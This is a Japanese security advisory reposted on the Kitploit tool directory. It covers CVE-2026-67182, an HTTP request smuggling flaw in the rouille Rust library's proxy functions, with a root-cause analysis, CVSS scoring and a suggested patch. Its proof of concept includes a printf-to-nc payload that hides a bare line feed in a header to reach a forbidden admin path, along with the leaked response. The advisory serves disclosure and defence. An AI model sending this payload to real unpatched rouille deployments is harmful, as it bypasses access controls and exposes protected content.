Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-67182-HTTP-Request-Smuggling-Enables-Front-End-Access-Control-Bypass-rouille- — セキュリティアドバイザリ: HTTPリクエストスモグリングがフロントエンドのアクセス制御バイパスを可能にする (rouille) | Kitploit
ツール/GitHubGitHub/theopaid/cve-2026-67182-http-request-smuggling-enables-front-end-access-control-bypass-rouille-
脆弱性分析ウェブアプリケーション悪用ウェブセキュリティ論文と研究学習と教育
GitHubtheopaid/cve-2026-67182-http-request-smuggling-enables-front-end-access-control-bypass-rouille-

CVE-2026-67182-HTTP-Request-Smuggling-Enables-Front-End-Access-Control-Bypass-rouille-

セキュリティアドバイザリ: HTTPリクエストスモグリングがフロントエンドのアクセス制御バイパスを可能にする (rouille)

リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
23日前未レビュー

セキュリティアドバイザリ: HTTPリクエストスマグリングによるフロントエンドのアクセス制御バイパス (rouille)

割り当て済みCVE ID: CVE-2026-67182

概要

rouille::proxy::proxy と rouille::proxy::full_proxy は、クライアントが指定したリクエストヘッダー値を制御文字のチェックなしでアップストリーム接続にコピーします。基礎となる tiny_http ヘッダーパーサーはCRLFでのみヘッダー行を終了するため、ヘッダー値には単独のラインフィード(0x0A)を正当に含めることができます。したがって、単独のLFを行終端文字として受け入れるバックエンドは、1つのフロントエンドリクエストを2つのリクエストとして読み取ります。

2つ目のリクエストは、メソッドとパスを含めて完全に攻撃者が制御でき、最初のリクエストをプロキシすることを決定したrouilleハンドラーを通過することはありません。そのレスポンスボディも攻撃者に返されます。

影響を受けるバージョン

リポジトリURL: https://github.com/tomaka/rouille

最初に影響を受けるバージョン0.3.3 (2016-12-03)、src/proxy.rs を導入したリリース
最後に影響を受けるバージョン3.6.2 (2023-04-24)、現在のリリース
影響を受けないバージョン0.3.2以前(プロキシモジュールなし)
修正バージョン本稿執筆時点では修正版なし

0.3.3から3.6.2までの公開されたすべてのリリースには、未修正のコードが含まれています。src/proxy.rs ファイルは、3.6.2タグと現在の master ブランチの間でバイト単位で同一です。

proxy::proxy または proxy::full_proxy を呼び出すアプリケーションのみが影響を受けます。

深刻度

CWE-444 (HTTPリクエストの不整合な解釈)。CWE-113 (HTTPヘッダーにおけるCRLFシーケンスの不適切な無効化) を経由して到達します。

CVSS 4.0 ベーススコア 6.9 (中) CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:H/SI:L/SA:N

脅威モデル

攻撃者は、rouilleサーバーに生のHTTPを送信できるリモートの未認証クライアントです。資格情報、ユーザー操作、コンポーネント間のネットワーク上の位置は一切必要ありません。

リスクのあるデプロイ構成は、単独のLFをヘッダー行終端文字として受け入れるHTTPパーサーを持つバックエンドの前段にあり、proxy() を呼び出す前にセキュリティ判断(ルーティング、認証、認可、コンテンツフィルタリング)を行うリバースプロキシとして動作するrouilleアプリケーションです。

測定されたバックエンドの挙動:

nginxとApacheはテストしていません。RFC 9112のセクション2.2は、受信者が単独のLFを行終端文字として認識することを許可しているため、LFを受け入れるバックエンドは仕様の範囲内で動作しています。

根本原因

rouille/src/proxy.rs、157行目から174行目:

root@kitploit:~
157      for (header, value) in request.headers() {
158          let value = if header == "Host" {
159              if let Some(ref replace) = config.replace_host {
160                  &**replace
161              } else {
162                  value
163              }
164          } else {
165              value
166          };
167          if header == "Connection" {
168              continue;
169          }
170  
171          socket.write_all(format!("{}: {}\r\n", header, value).as_bytes())?;
172      }
173      socket.write_all(b"Connection: close\r\n\r\n")?;
174      io::copy(&mut data, &mut socket)?;

171行目がシンクです。value は信頼できないものであり、検証なしで書き込まれます。

汚染は tiny_http を通じて入り込みます。tiny_http-0.12.0/src/client.rs の80行目から102行目では、ヘッダー行はCRの後にLFが続いた場合にのみ終了します:

root@kitploit:~
 92              if byte == b'\n' && prev_byte_was_cr {
 93                  buf.pop(); // removing the '\r'
 94                  return AsciiString::from_ascii(buf)
 95                      .map_err(|_| IoError::new(ErrorKind::InvalidInput, "Header is not in ASCII"));
 96              }
 97  
 98              prev_byte_was_cr = byte == b'\r';
 99  
100              buf.push(byte);

単独のLFは100行目まで到達し、ラインバッファにプッシュされます。LFは有効なASCIIなので、AsciiString::from_ascii はそれを受け入れます。tiny_http-0.12.0/src/common.rs の184行目にある Header::from_str は、その後値のトリムのみを行います。これは先頭と末尾の空白を削除しますが、内部のバイトはそのまま残します:

root@kitploit:~
187          let field = elems.next().and_then(|f| f.parse().ok()).ok_or(())?;
188          let value = elems
189              .next()
190              .and_then(|v| AsciiString::from_ascii(v.trim()).ok())
191              .ok_or(())?;

その結果、rouilleのヘッダー値には生の \n が含まれ、proxy.rs の171行目がそれをそのままアップストリームリクエストに書き込みます。

173行目の Connection: close は被害を封じ込めることはできません。注入された空白行は173行目が実行される前に最初のリクエストを終了させるため、そのヘッダーはスマグリングされたリクエストに吸収されます。最初のリクエストには Connection ヘッダーがなく、HTTP/1.1キープアライブがデフォルトになります。これはまさに、バックエンドが2つ目のリクエストの処理を続行できるようにするものです。

概念実証

ステップ1. 公開ファイルと、プロキシが保護することになっているファイルを含むバックエンドのドキュメントルートを作成します。

root@kitploit:~
mkdir -p /tmp/webroot/public
echo "PUBLIC PAGE"       > /tmp/webroot/public/index.html
echo "SECRET ADMIN PAGE" > /tmp/webroot/admin.html

ステップ2. ポート8001でキープアライブ対応のバックエンドを起動します。

root@kitploit:~
cd /tmp/webroot
python3 -c '
import http.server, socketserver, sys
class H(http.server.SimpleHTTPRequestHandler):
    protocol_version = "HTTP/1.1"
    def log_message(self, f, *a):
        sys.stderr.write("[backend] " + (f % a) + "\n"); sys.stderr.flush()
socketserver.TCPServer.allow_reuse_address = True
socketserver.TCPServer(("127.0.0.1", 8001), H).serve_forever()
'

ステップ3. ポート8000でrouilleフロントエンドを起動します。これは /public/ をプロキシし、それ以外はすべて拒否します。

root@kitploit:~
use rouille::{proxy, Response};

fn main() {
    rouille::start_server("127.0.0.1:8000", |request| {
        if !request.url().starts_with("/public/") {
            return Response::text("forbidden").with_status_code(403);
        }
        proxy::full_proxy(request, proxy::ProxyConfig {
            addr: "127.0.0.1:8001", replace_host: None,
        }).unwrap()
    });
}

ステップ4. アクセス制御が機能することを確認します。

root@kitploit:~
printf 'GET /admin.html HTTP/1.1\r\nHost: x\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8000
root@kitploit:~
HTTP/1.1 403 Forbidden

ステップ5. 許可されたパスへの単一リクエストを、ヘッダー値の内側に単独のLFを入れて送信します。以下のコマンドでは、\n は単独のラインフィード、\r\n はCRLFです。この違いが攻撃の全てなので、エディタに正規化させないでください。

root@kitploit:~
printf 'GET /public/index.html HTTP/1.1\r\nHost: x\r\nX-Bait: a\n\nGET /admin.html HTTP/1.1\nHost: x\nX-End: 1\r\n\r\n' | nc 127.0.0.1 8000

結果。バックエンドのログには2つのリクエストが表示され、2つ目はステップ4でフロントエンドが拒否したパスです:

root@kitploit:~
[backend] "GET /public/index.html HTTP/1.1" 200 -
[backend] "GET /admin.html HTTP/1.1" 200 -

攻撃者も保護されたコンテンツを受け取ります。src/proxy.rs の224行目がアップストリームソケットの残りをレスポンスボディに変換するためです:

root@kitploit:~
HTTP/1.1 200 OK
Content-type: text/html
Transfer-Encoding: chunked

d7
PUBLIC PAGE
HTTP/1.1 200 OK
Content-type: text/html
Content-Length: 18

SECRET ADMIN PAGE

影響

未認証のクライアントはバックエンドに任意のリクエストを発行してそのレスポンスを読み取ることができますが、rouilleハンドラーは許可されたリクエストしか見ることはありません。これにより、パスベースのアクセス制御、ハンドラー内で実行される認証、および proxy() の呼び出し前に行われるリクエスト検査はすべて無効化されます。

2つの制限を述べておく価値があります。proxy() はリクエストごとに新しいTCP接続を開き、プールしないため、古典的なスマグリングに伴うユーザー間のリクエストキュー汚染をもたらしません。また、この攻撃には、上記で測定したようにLFを許容するバックエンドが必要です。

対策

制御文字を含むヘッダー名と値を、アップストリームに書き込む前に拒否します。src/proxy.rs の157行目のループ内で:

root@kitploit:~
if header.bytes().any(|b| b < 0x21 || b == 0x7f)
    || value.bytes().any(|b| b == b'\r' || b == b'\n' || b == 0)
{
    return Err(ProxyError::HttpParseError);
}
ツールをダウンロード
バックエンドテストしたバージョン注入されたLFを受け入れるか
Go net/httpgo1.26.4はい、スマグリングされたリクエストを処理します
Python http.server (protocol_version = "HTTP/1.1")CPython 3.13はい、スマグリングされたリクエストを処理します
Node.jsv26.3.0いいえ、400を返します (llhttp strict mode)
PHPビルトインサーバー8.5.8いいえ、接続を切断します